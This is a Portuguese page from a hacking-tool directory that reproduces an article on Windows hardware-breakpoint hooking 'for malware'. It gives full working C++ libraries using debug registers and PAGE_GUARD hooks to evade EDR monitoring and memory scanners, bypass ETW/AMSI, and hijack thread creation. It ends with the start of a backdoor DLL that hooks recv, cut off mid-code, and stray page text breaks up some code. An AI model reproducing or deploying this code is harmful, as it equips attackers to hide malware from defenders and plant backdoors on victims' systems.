Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
hwbp4mw — Mecanismo de hooking por hardware breakpoints para Windows que utiliza registradores de depuração para realizar hooks em funções, contornar ETW/AMSI e evadir o monitoramento de EDR em user-land. | Kitploit
Ferramentas/GitHubGitHub/rad9800/hwbp4mw
Evasão de IDS/IPSDepuradoresPós-ExploraçãoRed TeamingAtaque Adversário
GitHubrad9800/hwbp4mw

hwbp4mw

Mecanismo de hooking por hardware breakpoints para Windows que utiliza registradores de depuração para realizar hooks em funções, contornar ETW/AMSI e evadir o monitoramento de EDR em user-land.

Ver Repositório
273546há 3 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Este artigo foi originalmente para a VX-Underground Black Mass Halloween Edition 2022.

Mecanismos de Hooking:

  • Mecanismo de hooking hwbp x86/x64 seguro para multi-thread c
  • Biblioteca de Breakpoints PAGE_GUARD/hwbp c++20
  • Biblioteca hwbp (exemplo de DLL) c++20

Técnica genérica de evasão em userland x64 utilizando registradores de depuração:

  • TamperingSyscalls2 c
  • TamperingSyscalls2 c++20

Exemplos de hooks ETW/AMSI disponíveis

  • rad9800/misc

Breakpoints de Hardware para Malware v 1.0

Nossa tarefa é hookar funções trivialmente e desviar o fluxo de código conforme necessário e, finalmente, remover o hook quando ele não for mais necessário.

Não podemos recorrer à aplicação de hooks de IAT, pois nem sempre são chamados e, portanto, não são confiáveis. Inline hooking é uma técnica poderosa; no entanto, requer que apliquemos um patch na memória onde o código reside. É uma técnica poderosa, mas ferramentas como PE-Sieve e Moneta conseguem distinguir a diferença entre a cópia do módulo residente na memória e a versão em disco e sinalizar isso. Isso nos deixa com a ferramenta perfeita para o trabalho: Registradores de Depuração, embora sejam bastante subestimados por autores de malware!```c CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS }; GetThreadContext(thd, &context);

root@kitploit:~
// set our debug information in the Dr registers SetThreadContext(thd, &context);
root@kitploit:~
Existem 8 registradores de depuração (Debug registers), de Dr0 até Dr7. Os que nos interessam são apenas
Dr0-3, onde armazenamos endereços nos quais gostaríamos de interromper (break), e Dr6 é apenas o status de
depuração. O mais importante é Dr7, que descreve as condições de breakpoints nas quais o processador
lançará uma exceção. Existem várias limitações ao usar registradores de depuração,
como um número limitado (4) e a não aplicação a todas as threads/threads recém-criadas.
Vamos procurar resolver algumas dessas limitações!

Quando a exceção é lançada, ela procurará por um tratador de exceção (exception handler) que podemos definir
e registrar em nosso programa [1]. Em nosso tratador de exceção definido, queremos que nosso código
associado (diferentes fluxos de código) seja executado quando o breakpoint correspondente for disparado.```c
LONG WINAPI ExceptionHandler(PEXCEPTION_POINTERS ExceptionInfo)
{
	if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP)
	{
		// Look for our associated code flow relative to our RIP 
		if (HWBP_ADDRESS_MAP.contains(ExceptionInfo->ContextRecord->Rip)) {
			HWBP_ADDRESS_MAP.at(ExceptionInfo->ContextRecord->Rip).func(ExceptionInfo);
			return EXCEPTION_CONTINUE_EXECUTION;
		}
	}
	return EXCEPTION_CONTINUE_SEARCH;
}

Isso é alcançado por uma função construtora que define o mapeamento entre uma função lambda "callback" e um endereço. using EXCEPTION_FUNC = std::function <void(PEXCEPTION_POINTERS)>;```c typedef struct { UINT pos; EXCEPTION_FUNC func; } HWBP_CALLBACK;

// Global std::unordered_map<uintptr_t, HWBP_CALLBACK> HWBP_ADDRESS_MAP{ 0 };

// Create our mapping HWBP_ADDRESS_MAP[address].func = function; HWBP_ADDRESS_MAP[address].pos = pos;

root@kitploit:~
Precisamos iterar por todos os threads dos nossos processos e definir os ajustes correspondentes ao
contexto para eles. Isso pode ser alcançado usando as funções auxiliares do ToolHelp32:
CreateToolhelp32Snapshot e Thread32Next. Isso não é nada sofisticado, mas aborda uma
das nossas limitações de não anexar a todos os threads.```c
VOID SetHWBPS(const uintptr_t address, const UINT pos, const bool init = true)
{
	DWORD pid{ GetCurrentProcessId() };
	HANDLE h{ CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0) };
	if (h != INVALID_HANDLE_VALUE) {
		THREADENTRY32 te{ .dwSize = sizeof(THREADENTRY32) };
		if (Thread32First(h, &te)) {
			do {
				if ((te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) +
					sizeof(te.th32OwnerProcessID)) && te.th32OwnerProcessID == pid) {

					HANDLE thd = OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
					if (thd != INVALID_HANDLE_VALUE) {
						SetHWBP(thd, address, pos, init);
						CloseHandle(thd);
					}
				}
				te.dwSize = sizeof(te);
			} while (Thread32Next(h, &te));
		}
		CloseHandle(h);
	}
}

Ter breakpoints de hardware definidos é, sem dúvida, suspeito, pois podem indicar atividade maliciosa (embora nenhum EDR, que eu saiba, os procure ativamente). Eles podem ser usados contra nós como um possível IoC, então devemos remover seus rastros depois de terminarmos de usá-los.

Podemos implementar isso na nossa função de desconstrução!! Isso irá iterar por todas as threads e verificar se o registrador (&context.Dr0)[pos] aponta para o endereço no qual definimos inicialmente o breakpoint de hardware (pos é apenas um índice % 4 que nos dá acesso a context.Dr0-Dr3). Também podemos remover as condições necessárias no registrador Dr7. Devemos também lembrar de remover nossa entrada de mapeamento. Portanto, nosso breakpoint de hardware estará presente apenas pelo tempo necessário!```c SetHWBPS(address, pos, false); HWBP_ADDRESS_MAP.erase(address);

root@kitploit:~
Um exemplo de breakpoint de hardware seria Sleep, onde apenas substituímos a duração do sleep
por 0.```c
HWBP HWBPSleep{ (uintptr_t)&Sleep, 0,	// Set Dr 0 
	([&](PEXCEPTION_POINTERS ExceptionInfo) {
		ExceptionInfo->ContextRecord->Rcx = 0;
		ExceptionInfo->ContextRecord->EFlags |= (1 << 16);	// continue execution
}) };

Sabemos que é preciso definir RCX devido à convenção de chamada fast-call de quatro registradores do Windows x64[1]. O primeiro argumento do construtor é o endereço onde interromper, o segundo é em qual registrador Dr0- 3 para armazenar (observe que só podemos ter 4 endereços para interromper por vez), e o terceiro é uma função lambda que capturará por referência PEXCEPTION_POINTERS que é a informação que um manipulador de exceções receberá. Isso, em última análise, nos permitirá controlar o fluxo de um programa de forma diferente dependendo de qual ponto de interrupção foi acionado.

Quando uma nova thread é criada, ela não herda o conjunto associado de Debug Registers a menos que consigamos, de alguma forma, interceptar a criação de uma nova thread! Um truque interessante que podemos usar seria capturar o endereço inicial real e desviar a nova thread para criar nossa própria thread. A maioria das novas threads acaba chamando NtCreateThreadEx.```c // Global Variable PVOID START_THREAD{ 0 };

// capture original start address HWBP HWBPNtCreateThreadEx{ (uintptr_t)GetProcAddress(GetModuleHandle(L"NTDLL.dll"), "NtCreateThreadEx"), 1, ([&](PEXCEPTION_POINTERS ExceptionInfo) {

root@kitploit:~
// save original thread address
START_THREAD = (PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x28);
// set the start address to our thread address 
*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x28) = (uintptr_t)&HijackThread;

ExceptionInfo->ContextRecord->EFlags |= (1 << 16);

}) };

DWORD WINAPI HijackThread(LPVOID lpParameter) { typedef DWORD(WINAPI* typeThreadProc)(LPVOID lpParameter);

root@kitploit:~
// Set required HWBP
for (auto& i : HWBP_ADDRESS_MAP) {
	SetHWBP(GetCurrentThread(), i.first, i.second.pos, true);
}

// restore execution to original thread
return ((typeThreadProc)START_THREAD)(lpParameter);

}

root@kitploit:~
Uma limitação dessa solução é que a pilha de chamadas para a thread terá origem na
HijackThread da nossa DLL injetada e não na thread original! Alternativamente, uma
solução melhor seria chamar NtCreateThreadEx nós mesmos, mas iniciá-la em estado suspenso
e então definir os breakpoints de hardware necessários. Depois, restauramos a execução
retomando a thread suspensa com os registradores de depuração definidos para essa nova
thread. Isso também resolve outra limitação do uso de registradores de depuração.

Chamar a instrução na qual temos um breakpoint definido acionaria um loop infinito;
portanto, desabilitamos temporariamente o breakpoint de hardware responsável por acionar
nosso RIP atual. Depois que terminamos a chamada, podemos restaurá-lo. Isso nos permitirá,
assim, chamar a função original (como um trampolim). Nesse caso, devemos apontar nosso
RIP para um gadget `ret` para que ele possa retornar e não fazer outra instrução syscall.

O quinto parâmetro, incluindo os seguintes, pode ser encontrado empurrado para a pilha em
intervalos de 0x8 bytes [2]. Nossa pilha fica mais ou menos assim quando acionamos o
breakpoint.```
                ___________________________
               |                           |
               | 0x8 + lpBytesBuffer       |
               |___________________________|
               |                           |
               | 0x8 + SizeOfStackReserve  |
               |___________________________|
               |                           |
               | 0x8 + SizeOfStackCommit   |
               |___________________________|
               |                           |
               | 0x8 + StackZeroBits       |
               |___________________________|
               |                           |
               | 0x8 + Flags               |
               |___________________________|
               |                           |
               | 0x8 + lpParameter         |
               |___________________________|
               |                           |
               | 0x8 + lpStartAddress      |
RSP + 0x28 +-> |___________________________|
               |                           |
               |                           |
               |                           |  R9  +-> (HANDLE)ProcessHandle
               | 0x20 + Shadow Store       |  R8  |-> (PVOID) ObjectAttributes
               |                           |  RDX |-> (ACCESS_MASK) DesiredAccess
               |                           |  RCX +-> (PHANDLE) hThread
               |___________________________|
               |                           |
               | 0x8 + Call Ret Addr       |  RIP +-> NtCreateThreadEx
       RSP +-> |___________________________|

root@kitploit:~
// Find our ret ROP gadget 
uintptr_t FindRetAddr(const uintptr_t function)
{
	BYTE stub[]{ 0xC3 };
	for (unsigned int i = 0; i < (unsigned int)25; i++)
	{	
		// do not worry this will be optimized
		if (memcmp((LPVOID)(function + i), stub, sizeof(stub)) == 0) {
			return (function + i);
		}
	}
	return NULL;
}

typedef LONG(NTAPI* typeNtCreateThreadEx)(
	OUT PHANDLE hThread,
	IN ACCESS_MASK DesiredAccess,
	IN PVOID ObjectAttributes,
	IN HANDLE ProcessHandle,
	IN PVOID lpStartAddress,
	IN PVOID lpParameter,
	IN ULONG Flags,
	IN SIZE_T StackZeroBits,
	IN SIZE_T SizeOfStackCommit,
	IN SIZE_T SizeOfStackReserve,
	OUT PVOID lpBytesBuffer
); 

HWBP HWBPNtCreateThreadEx{ (uintptr_t)GetProcAddress(GetModuleHandle(L"NTDLL.dll"),
										  "NtCreateThreadEx"), 1,
	([&](PEXCEPTION_POINTERS ExceptionInfo) {

		// temporary disable of NtCreateThreadEx in our current thread.
		for (auto& i : HWBP_ADDRESS_MAP) {
			if (i.first == ExceptionInfo->ContextRecord->Rip) {	
				SetHWBP(GetCurrentThread(), i.first, i.second.pos, false);
			}
		}

		// create the original thread BUT suspended 
		// THREAD_CREATE_FLAGS_CREATE_SUSPENDED == 0x00000001
		// ( Flags | THREAD_CREATE_FLAGS_CREATE_SUSPENDED)
		LONG status = ((typeNtCreateThreadEx)ExceptionInfo->ContextRecord->Rip)(
			(PHANDLE)ExceptionInfo->ContextRecord->Rcx,
			(ACCESS_MASK)ExceptionInfo->ContextRecord->Rdx,
			(PVOID)ExceptionInfo->ContextRecord->R8,
			(HANDLE)ExceptionInfo->ContextRecord->R9,
			(PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x28),
			(PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x30),
			(ULONG) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x38) | 0x1ull,
			(SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x40),
			(SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x48),
			(SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x50),
			(PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x58)
		);


		CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS };

		GetThreadContext((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx),
			&context);
		
		// Setup required HWBP
		for (auto& i : HWBP_ADDRESS_MAP) {
			(&context.Dr0)[i.second.pos] = i.first;

			context.Dr7 &= ~(3ull << (16 + 4 * i.second.pos));
			context.Dr7 &= ~(3ull << (18 + 4 * i.second.pos));
			context.Dr7 |= 1ull << (2 * i.second.pos);
		}

		SetThreadContext((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx),
			&context);

		ResumeThread((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx));

		// restore our HWBP on NtCreateThreadEx
		for (auto& i : HWBP_ADDRESS_MAP) {
			if (i.first == ExceptionInfo->ContextRecord->Rip) {	
				SetHWBP(GetCurrentThread(), i.first, i.second.pos, false);
			}
		}
		
		// RAX contains the return value.
		ExceptionInfo->ContextRecord->Rax = status;

		// Set RIP to a ret gadget to avoid creating 
		// another new thread (skip syscall instruction) 
		ExceptionInfo->ContextRecord->Rip = 
			FindRetAddr(ExceptionInfo->ContextRecord->Rip);
}) };

Compartilho um mecanismo de hooking de hardware breakpoints que você pode usar, escrito em C++. O exemplo de hardware breakpoint define um breakpoint em Dr0 na função sleep e define o primeiro valor (em RCX) como 0, ignorando todos os sleeps. Para definir esse breakpoint em todas as futuras novas threads, você pode usar o exemplo acima, que utiliza Dr1.```c ////////////////////////////////////////////////////////////////////////////////////////// /* HWBPP.cpp - @rad9800 / / C++ Hardware Breakpoint Library (DLL example) */ ////////////////////////////////////////////////////////////////////////////////////////// // dllmain.cpp : Defines the entry point for the DLL application. // /std:c++20 #include "pch.h" #include <windows.h>

#include <tlhelp32.h> #include

using EXCEPTION_FUNC = std::function <void(PEXCEPTION_POINTERS)>;

////////////////////////////////////////////////////////////////////////////////////////// /* Structs */ ////////////////////////////////////////////////////////////////////////////////////////// typedef struct { UINT pos; EXCEPTION_FUNC func; } HWBP_CALLBACK;

////////////////////////////////////////////////////////////////////////////////////////// /* Globals */ ////////////////////////////////////////////////////////////////////////////////////////// // maintain our address -> lambda function mapping std::unordered_map<uintptr_t, HWBP_CALLBACK> HWBP_ADDRESS_MAP{ 0 };

////////////////////////////////////////////////////////////////////////////////////////// /* Funcs */ ////////////////////////////////////////////////////////////////////////////////////////// VOID SetHWBP(const HANDLE thd, const uintptr_t address, const UINT pos, const bool init) { CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS }; GetThreadContext(thd, &context);

root@kitploit:~
if (init) {
	(&context.Dr0)[pos] = address;

	context.Dr7 &= ~(3ull << (16 + 4 * pos));
	context.Dr7 &= ~(3ull << (18 + 4 * pos));
	context.Dr7 |= 1ull << (2 * pos);
}
else {
	if ((&context.Dr0)[pos] == address) {
		context.Dr7 &= ~(1ull << (2 * pos));
		(&context.Dr0)[pos] = NULL;
	}
}

SetThreadContext(thd, &context);

}

VOID SetHWBPS(const uintptr_t address, const UINT pos, const bool init = true) { const DWORD pid{ GetCurrentProcessId() }; const HANDLE h{ CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0) }; if (h != INVALID_HANDLE_VALUE) { THREADENTRY32 te{ .dwSize = sizeof(THREADENTRY32) }; if (Thread32First(h, &te)) { do { if ((te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(te.th32OwnerProcessID)) && te.th32OwnerProcessID == pid) {

root@kitploit:~
				const HANDLE thd = 
								OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
				if (thd != INVALID_HANDLE_VALUE) {
					SetHWBP(thd, address, pos, init);
					CloseHandle(thd);
				}
			}
			te.dwSize = sizeof(te);
		} while (Thread32Next(h, &te));
	}
	CloseHandle(h);
}

}

////////////////////////////////////////////////////////////////////////////////////////// /* Exception Handler */ ////////////////////////////////////////////////////////////////////////////////////////// LONG WINAPI ExceptionHandler(PEXCEPTION_POINTERS ExceptionInfo) { if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP) { if (HWBP_ADDRESS_MAP.contains(ExceptionInfo->ContextRecord->Rip)) { HWBP_ADDRESS_MAP.at(ExceptionInfo->ContextRecord->Rip).func(ExceptionInfo); return EXCEPTION_CONTINUE_EXECUTION; } } return EXCEPTION_CONTINUE_SEARCH; }

////////////////////////////////////////////////////////////////////////////////////////// /* Classes */ ////////////////////////////////////////////////////////////////////////////////////////// template struct HWBP { public: HWBP(const uintptr_t address, const UINT idx, const HANDLER function) : address{ address } , pos{idx % 4} { SetHWBPS(address, pos);

root@kitploit:~
	HWBP_ADDRESS_MAP[address].func = function;
	HWBP_ADDRESS_MAP[address].pos = pos;
};

VOID RemoveHWBPS()
{
	SetHWBPS(address, pos, false);
	HWBP_ADDRESS_MAP.erase(address);
}

~HWBP()
{
	RemoveHWBPS();
}

private: const uintptr_t address; UINT pos; };

// Global Scope HWBP HWBPSleep{ (uintptr_t)&Sleep, 0, ([&](PEXCEPTION_POINTERS ExceptionInfo) { ExceptionInfo->ContextRecord->Rcx = 0; ExceptionInfo->ContextRecord->EFlags |= (1 << 16); }) }; ////////////////////////////////////////////////////////////////////////////////////////// /* Entry */ ////////////////////////////////////////////////////////////////////////////////////////// extern "C" BOOL APIENTRY DllMain(HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { HANDLE handler = NULL; switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: { handler = AddVectoredExceptionHandler(1, ExceptionHandler); }; break; case DLL_THREAD_ATTACH: { } break; case DLL_THREAD_DETACH: {

root@kitploit:~
}; break;
case DLL_PROCESS_DETACH: {
	if (handler != nullptr) RemoveVectoredExceptionHandler(handler);
}; break;
}
return TRUE;

}

////////////////////////////////////////////////////////////////////////////////////////// /* EOF */ //////////////////////////////////////////////////////////////////////////////////////////

root@kitploit:~
Como discutimos anteriormente, manter um conjunto de registradores de depuração é uma prática ruim. Portanto,
complementaremos nosso uso de registradores de depuração com hooks PAGE_GUARD, permitindo liberar
um dos registradores de depuração: Dr1 (usado para NtCreateThreadEx).

PAGE_GUARDs são essencialmente proteção de memória de uso único que lançam uma exceção. Eles
são aplicados a páginas no nível mais baixo de granularidade de alocação presente no sistema (
o que às vezes pode ser um obstáculo). O hooking de PAGE_GUARD não é novidade, mas
podemos usá-lo para resolver algumas de nossas limitações. Inicialmente, aplicaremos nosso PAGE_GUARD ao
endereço, e o PAGE_GUARD será disparado ao lançar uma PAGE_GUARD_VIOLATION.

VirtualProtect((LPVOID)address, 1, PAGE_EXECUTE_READ | PAGE_GUARD, &old);

Podemos aplicar o mesmo conceito de mapear uma lambda para disparar em um endereço específico.
Executaremos passo a passo as instruções da função em nossa página atual enquanto reaplicamos
o PAGE_GUARD. Isso é obviamente relativamente lento, mas tem a vantagem de não reservar
um registrador de depuração. Pela principal razão de ser lento, optamos por não usá-los
principalmente.```c
typedef struct {
	EXCEPTION_FUNC								func;
} PG_CALLBACK;

std::unordered_map<uintptr_t, PG_CALLBACK>	PG_ADDRESS_MAP{ 0 };

PG_ADDRESS_MAP[address].func = function;

Para aplicar os hooks de registradores de depuração a novas threads, podemos simplesmente copiar o exemplo anterior de hooking do NtCreateThreadEx, mas remover os loops onde desabilitamos e restauramos os HWBPs para a nossa thread atual.

Podemos introduzir o segundo exemplo de código onde fazemos o hook mencionado acima do NtCreateThreadEx com PAGE_GUARDs. Como antes, nossa função de desconstrução removerá a entrada em nosso mapeamento e removerá as proteções (se definidas).```c

////////////////////////////////////////////////////////////////////////////////////////// /* DRPGG.cpp - @rad9800 */ ////////////////////////////////////////////////////////////////////////////////////////// #include <windows.h>

#include <tlhelp32.h> #include // std::function

using EXCEPTION_FUNC = std::function <void(PEXCEPTION_POINTERS)>;

////////////////////////////////////////////////////////////////////////////////////////// /* Structs */ ////////////////////////////////////////////////////////////////////////////////////////// typedef struct { UINT pos; EXCEPTION_FUNC func; } HWBP_CALLBACK;

typedef struct { EXCEPTION_FUNC func; } PG_CALLBACK;

typedef LONG(NTAPI* typeNtCreateThreadEx)( OUT PHANDLE hThread, IN ACCESS_MASK DesiredAccess, IN PVOID ObjectAttributes, IN HANDLE ProcessHandle, IN PVOID lpStartAddress, IN PVOID lpParameter, IN ULONG Flags, IN SIZE_T StackZeroBits, IN SIZE_T SizeOfStackCommit, IN SIZE_T SizeOfStackReserve, OUT PVOID lpBytesBuffer );

////////////////////////////////////////////////////////////////////////////////////////// /* Globals */ ////////////////////////////////////////////////////////////////////////////////////////// // maintain our address -> lambda function mapping std::unordered_map<uintptr_t, HWBP_CALLBACK> HWBP_ADDRESS_MAP{ 0 }; std::unordered_map<uintptr_t, PG_CALLBACK> PG_ADDRESS_MAP{ 0 };

////////////////////////////////////////////////////////////////////////////////////////// /* Funcs */ ////////////////////////////////////////////////////////////////////////////////////////// // Find our ret ROP gadget uintptr_t FindRetAddr(const uintptr_t function) { BYTE stub[]{ 0xC3 }; for (unsigned int i = 0; i < (unsigned int)25; i++) { if (memcmp((LPVOID)(function + i), stub, sizeof(stub)) == 0) { return (function + i); } } return NULL; }

VOID SetHWBP(const HANDLE thd, const uintptr_t address, const UINT pos, const bool init) { CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS }; GetThreadContext(thd, &context);

root@kitploit:~
if (init) {
    (&context.Dr0)[pos] = address;

    context.Dr7 &= ~(3ull << (16 + 4 * pos));
    context.Dr7 &= ~(3ull << (18 + 4 * pos));
    context.Dr7 |= 1ull << (2 * pos);
}
else {
    if ((&context.Dr0)[pos] == address) {
        context.Dr7 &= ~(1ull << (2 * pos));
        (&context.Dr0)[pos] = NULL;
    }
}

SetThreadContext(thd, &context);

}

VOID SetHWBPS(const uintptr_t address, const UINT pos, const bool init = true) { const DWORD pid{ GetCurrentProcessId() }; const HANDLE h{ CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0) }; if (h != INVALID_HANDLE_VALUE) { THREADENTRY32 te{ .dwSize = sizeof(THREADENTRY32) }; if (Thread32First(h, &te)) { do { if ((te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(te.th32OwnerProcessID)) && te.th32OwnerProcessID == pid) {

root@kitploit:~
                const HANDLE thd = OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
                if (thd != INVALID_HANDLE_VALUE) {
                    SetHWBP(thd, address, pos, init);
                    CloseHandle(thd);
                }
            }
            te.dwSize = sizeof(te);
        } while (Thread32Next(h, &te));
    }
    CloseHandle(h);
}

}

////////////////////////////////////////////////////////////////////////////////////////// /* Exception Handler */ ////////////////////////////////////////////////////////////////////////////////////////// LONG WINAPI ExceptionHandler(const PEXCEPTION_POINTERS ExceptionInfo) { DWORD old = 0; if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_GUARD_PAGE_VIOLATION) { if (PG_ADDRESS_MAP.contains(ExceptionInfo->ContextRecord->Rip)) { PG_ADDRESS_MAP.at(ExceptionInfo->ContextRecord->Rip).func(ExceptionInfo); } ExceptionInfo->ContextRecord->EFlags |= (1 << 8); return EXCEPTION_CONTINUE_EXECUTION; } else if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP) { if (HWBP_ADDRESS_MAP.contains(ExceptionInfo->ContextRecord->Rip)) { HWBP_ADDRESS_MAP.at(ExceptionInfo->ContextRecord->Rip).func(ExceptionInfo); return EXCEPTION_CONTINUE_EXECUTION; } for (const auto& i : PG_ADDRESS_MAP) { VirtualProtect((LPVOID)i.first, 1, PAGE_EXECUTE_READ | PAGE_GUARD, &old); return EXCEPTION_CONTINUE_EXECUTION; } } return EXCEPTION_CONTINUE_SEARCH; }

DWORD WINAPI TestThread(LPVOID lpParameter) { UNREFERENCED_PARAMETER(lpParameter); Sleep(500000);

root@kitploit:~
return 0;

}

////////////////////////////////////////////////////////////////////////////////////////// /* Classes */ ////////////////////////////////////////////////////////////////////////////////////////// template struct HWBP { public: HWBP(const uintptr_t address, const UINT idx, const HANDLER function) : address{ address }, pos{ idx % 4 } { SetHWBPS(address, pos);

root@kitploit:~
    HWBP_ADDRESS_MAP[address].func = function;
    HWBP_ADDRESS_MAP[address].pos = pos;
};

VOID RemoveHWBPS()
{
    SetHWBPS(address, pos, false);
    HWBP_ADDRESS_MAP.erase(address);
}

~HWBP()
{
    RemoveHWBPS();
}

private: const uintptr_t address; UINT pos; };

template struct PGBP { public: PGBP(const uintptr_t address, const HANDLER function) : old{ 0 }, address{ address } {

root@kitploit:~
    VirtualProtect((LPVOID)address, 1, PAGE_EXECUTE_READ | PAGE_GUARD, &old);

    PG_ADDRESS_MAP[address].func = function;
}

VOID RemovePGEntry()
{
    VirtualProtect((LPVOID)address, 1, old, &old);
    PG_ADDRESS_MAP.erase(address);
}

~PGBP()
{
    RemovePGEntry();
}

private: DWORD old; const uintptr_t address; };

////////////////////////////////////////////////////////////////////////////////////////// /* Entry Point */ ////////////////////////////////////////////////////////////////////////////////////////// int main() { const PVOID handler{ AddVectoredExceptionHandler(1, ExceptionHandler) };

root@kitploit:~
HWBP HWBPSleep{
    (uintptr_t)&Sleep,
    1,
    ([&](PEXCEPTION_POINTERS ExceptionInfo) {
        printf("Sleeping %lld\n", ExceptionInfo->ContextRecord->Rcx);
        ExceptionInfo->ContextRecord->Rcx = 0;
        ExceptionInfo->ContextRecord->EFlags |= (1 << 16);    // continue execution
}) };


PGBP VEHNtCreateThreadEx{
    (uintptr_t)GetProcAddress(
        GetModuleHandle(L"NTDLL.dll"),
        "NtCreateThreadEx"
    ),
([&](PEXCEPTION_POINTERS ExceptionInfo) {

        // create a new thread suspended
        LONG status = ((typeNtCreateThreadEx)ExceptionInfo->ContextRecord->Rip)(
            (PHANDLE)ExceptionInfo->ContextRecord->Rcx,
            (ACCESS_MASK)ExceptionInfo->ContextRecord->Rdx,
            (PVOID)ExceptionInfo->ContextRecord->R8,
            (HANDLE)ExceptionInfo->ContextRecord->R9,
            (PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x28),
            (PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x30),
            (ULONG) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x38) | 0x1ull,
            (SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x40),
            (SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x48),
            (SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x50),
            (PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x58)
        );

        CONTEXT context{ 0 };
        context.ContextFlags = CONTEXT_DEBUG_REGISTERS;

        GetThreadContext((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx),
            &context);

        for (auto& i : HWBP_ADDRESS_MAP) {
            (&context.Dr0)[i.second.pos] = i.first;

            context.Dr7 &= ~(3ull << (16 + 4 * i.second.pos));
            context.Dr7 &= ~(3ull << (18 + 4 * i.second.pos));
            context.Dr7 |= 1ull << (2 * i.second.pos);
        }

        SetThreadContext((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx),
            &context);

        ResumeThread((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx));

        ExceptionInfo->ContextRecord->Rax = status;

        ExceptionInfo->ContextRecord->Rip =
            FindRetAddr(ExceptionInfo->ContextRecord->Rip);
    }) };


Sleep(1000000);

for (unsigned int i = 0; i < 2; ++i) {
    HANDLE t = CreateThread(NULL, 0, TestThread, NULL, 0, NULL);
    if (t) WaitForSingleObject(t, INFINITE);
}

if (handler) RemoveVectoredExceptionHandler(handler);

}

////////////////////////////////////////////////////////////////////////////////////////// /* EOF */ //////////////////////////////////////////////////////////////////////////////////////////

root@kitploit:~
Tendo aplicado a teoria para criar um mecanismo versátil de hooking por hardware breakpoints, continuaremos a usar uma mistura de registradores de depuração e PAGE_GUARDs, como mostrado em nossos exemplos anteriores, para implementar um backdoor inspirado no SockDetour [3] como uma DLL em C++. Definiremos um hardware breakpoint na função recv para conseguir isso e construiremos a lógica necessária no lambda correspondente. Também aplicaremos um PAGE_GUARD a NtCreateThreadEx e usaremos nossa técnica anterior de criar a thread em estado suspenso para definir os registradores de depuração corretos.

Apesar da natureza lenta dos hooks PAGE_GUARD, isso não deve ser um problema, desde que o modelo de servidor não crie uma nova thread para cada requisição, levando a um desempenho subliminar. A maioria dos modelos de servidor de rede mantém um pool de threads que são iniciadas e inicializadas no início do programa. Para obter mais informações sobre esses modelos de servidor, a Microsoft fornece uma variedade de exemplos no Github [4]; o exemplo IOCP é um excelente exemplo do que um modelo de servidor performático e escalável se parece, para contexto.

O início do seu backdoor poderia ser assim:

HWBP recv_hook{ (uintptr_t)GetProcAddress((LoadLibrary(L"WS2_32.dll"),
	GetModuleHandle(L"WS2_32.dll")),"recv"), 3,
	([&](PEXCEPTION_POINTERS ExceptionInfo) {
		
		for (auto& i : ADDRESS_MAP) {
			if (i.first == ExceptionInfo->ContextRecord->Rip) {
				SetHWBP(GetCurrentThread(), i.first, i.second.pos, false);
			}
		}

		char verbuf[9]{ 0 };
		int	verbuflen{ 9 }, recvlen{ 0 };

		recvlen = recv(ExceptionInfo->ContextRecord->Rcx, verbuf,
				   verbuflen, MSG_PEEK);

		BYTE TLS[] = { 0x17, 0x03, 0x03 };

		if (recvlen >= 3) {
			if ((memcmp(verbuf, TLS, 3) == 0))1
			{
				MSG_AUTH msg{ 0 };
